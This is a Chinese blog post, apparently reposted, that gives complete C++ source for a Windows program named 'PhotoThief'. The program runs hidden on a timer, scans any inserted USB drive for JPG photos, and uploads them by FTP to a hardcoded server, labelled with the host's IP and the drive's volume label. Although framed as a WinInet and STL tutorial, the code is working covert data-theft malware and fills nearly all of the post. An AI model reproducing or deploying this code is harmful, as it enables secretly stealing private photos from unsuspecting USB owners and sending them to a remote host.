利用WinInet库和STL获取计算机硬盘中的文件并上传到指定FTP服务器

必备知识:

1.WinInet库

2.STL

/*/
*           AppName:PhotoThief                                                            *
*           Function:Copy photo to FTP server from your usb store   *
*           Author:Zhang Tianxin (swtar@qq.com)                               *
*           Date:2010-6                                                                           *
/*/

#include "windows.h"
#include "wininet.h"
#include<string>
#include<vector>
#include<algorithm>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wininet.lib")
using namespace std;

//全局函数声明
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT_PTR idEvent,DWORD dwTime);
void fuFindAllDirectory(const string &szDirectoryName);
BOOL fuFindFileAsExt(const string &szDirectoryName,const string &szFileExt);
BOOL fuUploadFileToServer(const string &szDirectoryName);
BOOL fuIsJpgFile(const string &szFilePath);
string fuMakeDirectoryName(const string &szDrive);

//全局变量声明
vector<char> vDrive;
vector<string> vFileList;
const char szUserName[]="XXXXX";
const char szUserPwd[]="XXXXX";                  //用户名和密码当然不能告诉你

//主函数
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
 SetTimer(NULL,1,300000,(TIMERPROC)TimerProc);
 MSG msg;
 while(1)  
 {
  GetMessage(&msg,NULL,0,0);
  DispatchMessage(&msg);                
 }
 return 0;
}

//递归查找文件夹
void fuFindAllDirectory(const string &szDirectoryName)
{
 string szFindDirectory=szDirectoryName+"*.*";
 string szFullPath;
 string szFinishedFile;
 string szFilePath;
 HANDLE hFile;
 WIN32_FIND_DATA stWfd;
 hFile=FindFirstFile(szFindDirectory.c_str(),&stWfd);
 do
 {
  if(lstrcmp(stWfd.cFileName,TEXT("."))==0||lstrcmp(stWfd.cFileName,TEXT(".."))==0)
  {
   continue;
  }
 
  if(stWfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  {
   szFullPath=szDirectoryName+stWfd.cFileName+"\\";
   fuFindAllDirectory(szFullPath);
  }
  else
  {
   szFinishedFile=stWfd.cFileName;
   if(fuIsJpgFile(szFinishedFile))
   {
    szFilePath=szDirectoryName+stWfd.cFileName;
    vFileList.push_back(szFilePath);
   }
  }
 }
 while(FindNextFile(hFile,&stWfd));
 FindClose(hFile);
}

//判断找到的文件是不是图片
BOOL fuIsJpgFile(const string &szFilePath)
{
 string szFileExt;
 char szTemp[MAX_PATH];
 ZeroMemory(szTemp,MAX_PATH);
 szFileExt=szFilePath.substr(szFilePath.rfind(".")+1);
 lstrcpy(szTemp,szFileExt.c_str());
 strupr(szTemp);
 if(lstrcmp(szTemp,"JPG")==0)
 {
  return TRUE;
 }
 else
 {
  return FALSE;
 }
}

//定时器回调函数
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT_PTR idEvent,DWORD dwTime)
{
 char str[1024];
 string szDriveLabel;
 PCHAR temp;
 ZeroMemory(str,1024);
 GetLogicalDriveStrings(1023,str);
 temp=(PCHAR)str;
 do
 {
  if(GetDriveType(temp)==DRIVE_REMOVABLE)
  {
   if(count(vDrive.begin(),vDrive.end(),temp[0])!=0)
   {
    continue;
   }
   vDrive.push_back(temp[0]);
   string szDirectoryName(temp);
   fuFindAllDirectory(szDirectoryName);
   if(!vFileList.empty())
   {
    fuUploadFileToServer(fuMakeDirectoryName(szDirectoryName));
   }
  }
  temp+=(lstrlen(temp)+1);
 }
 while(*temp!='\x00');
}

//生成用于在服务器上创建文件夹的字符串
string fuMakeDirectoryName(const string &szDrive)
{
 char szHostName[MAX_PATH];
 char szDate[MAX_PATH];
 char szIP[10];
 char szDriveLabel[MAX_PATH];
 ZeroMemory(szDate,MAX_PATH);
 ZeroMemory(szHostName,256);
 ZeroMemory(szIP,10);
 ZeroMemory(szDriveLabel,MAX_PATH);
 string szDirectoryName,szTemp,szDriveRoot;
 szDriveRoot=szDrive.substr(0,3);
 SYSTEMTIME st;
 struct hostent* pHostEnt;
 //格式化日期和时间
 GetSystemTime(&st);
 wsprintf(szDate,"%d-%d-%d-%d-%d-%d",st.wYear,st.wMonth,st.wDay,st.wHour+8,st.wMinute,st.wSecond);
 szTemp=szDate;
 //格式化IP地址
 WSADATA wsd;
 if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
 {
  MessageBox(NULL,"初始化套接字失败","错误",MB_OK|MB_ICONSTOP);
 }
 if(gethostname(szHostName,sizeof(szHostName))==SOCKET_ERROR)
 {
  MessageBox(NULL,"获取计算机名失败!","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
 }
 pHostEnt=gethostbyname(szHostName);
 if(pHostEnt==NULL)
 {
  MessageBox(NULL,"获取IP失败!","错误",MB_OK|MB_ICONSTOP);
  return FALSE;
 }
 wsprintf(szIP,"-%d-%d-",pHostEnt->h_addr_list[0][2]&0x00ff,pHostEnt->h_addr_list[0][3]&0x00ff);
 WSACleanup();
 szDirectoryName=szTemp+szIP;
 //获取卷标
 if(GetVolumeInformation(szDriveRoot.c_str(),szDriveLabel,sizeof(szDriveLabel),NULL,NULL,NULL,NULL,NULL)==0)
 {
  MessageBox(NULL,"获取U盘卷标失败","出错",MB_OK|MB_ICONSTOP);
 }
 if(szDriveLabel[0]=='\0')
 {
  lstrcpy(szDriveLabel,"可移动磁盘");
 }
 szTemp=szDirectoryName;
 szDirectoryName=szTemp+szDriveLabel;
 return szDirectoryName;
}

//同步方式上传文件到服务器
BOOL fuUploadFileToServer(const string &szDirectoryName)
{
 HINTERNET hFtpServer,hConnecdServer;
 vector<string>::iterator it;
 string szFileName;
 hFtpServer=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,NULL);                    // 初始化 Win32 internet
 if(hFtpServer==NULL)
 {
  MessageBox(NULL,"初始化WinInet库失败!","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
 }
 hConnecdServer=InternetConnect(hFtpServer,"192.168.51.3",INTERNET_DEFAULT_FTP_PORT,szUserName,szUserPwd,INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,(long)0);   //打开一个FTP应用会话
 if(hConnecdServer==NULL)
 {
  MessageBox(NULL,"创建连接失败!","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
 }
 if(!FtpSetCurrentDirectory(hConnecdServer,"学习任务"))      //设置服务器上当前的工作目录
 {
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
 }
 if(!FtpSetCurrentDirectory(hConnecdServer,"维护专用"))
 {
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
 }
 if(!FtpSetCurrentDirectory(hConnecdServer,"ztx"))
 {
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
 }
 if(!FtpCreateDirectory(hConnecdServer,szDirectoryName.c_str()))       //在服务器上建立一个新的目录
 {
   MessageBox(NULL,"在服务器上建立一个新的目录失败","出错",MB_OK|MB_ICONSTOP);
   return FALSE;
 }
 if(!FtpSetCurrentDirectory(hConnecdServer,szDirectoryName.c_str()))
 {
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
 }
 for(it=vFileList.begin();it!=vFileList.end();it++)
 {
  szFileName=it->substr(it->rfind("\\")+1);
  if(!FtpPutFile(hConnecdServer,it->c_str(),szFileName.c_str(),FTP_TRANSFER_TYPE_BINARY,0))     //发送指定文件到服务器
  {
   MessageBox(NULL,"发送指定文件到服务器","出错",MB_OK|MB_ICONSTOP);
  }
 }
 return TRUE;
}


这几天要asp.net实训,时间紧,就先写到这里吧,相关功能稍候完善!

转载于:https://www.cnblogs.com/swtar/archive/2010/11/29/1890967.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值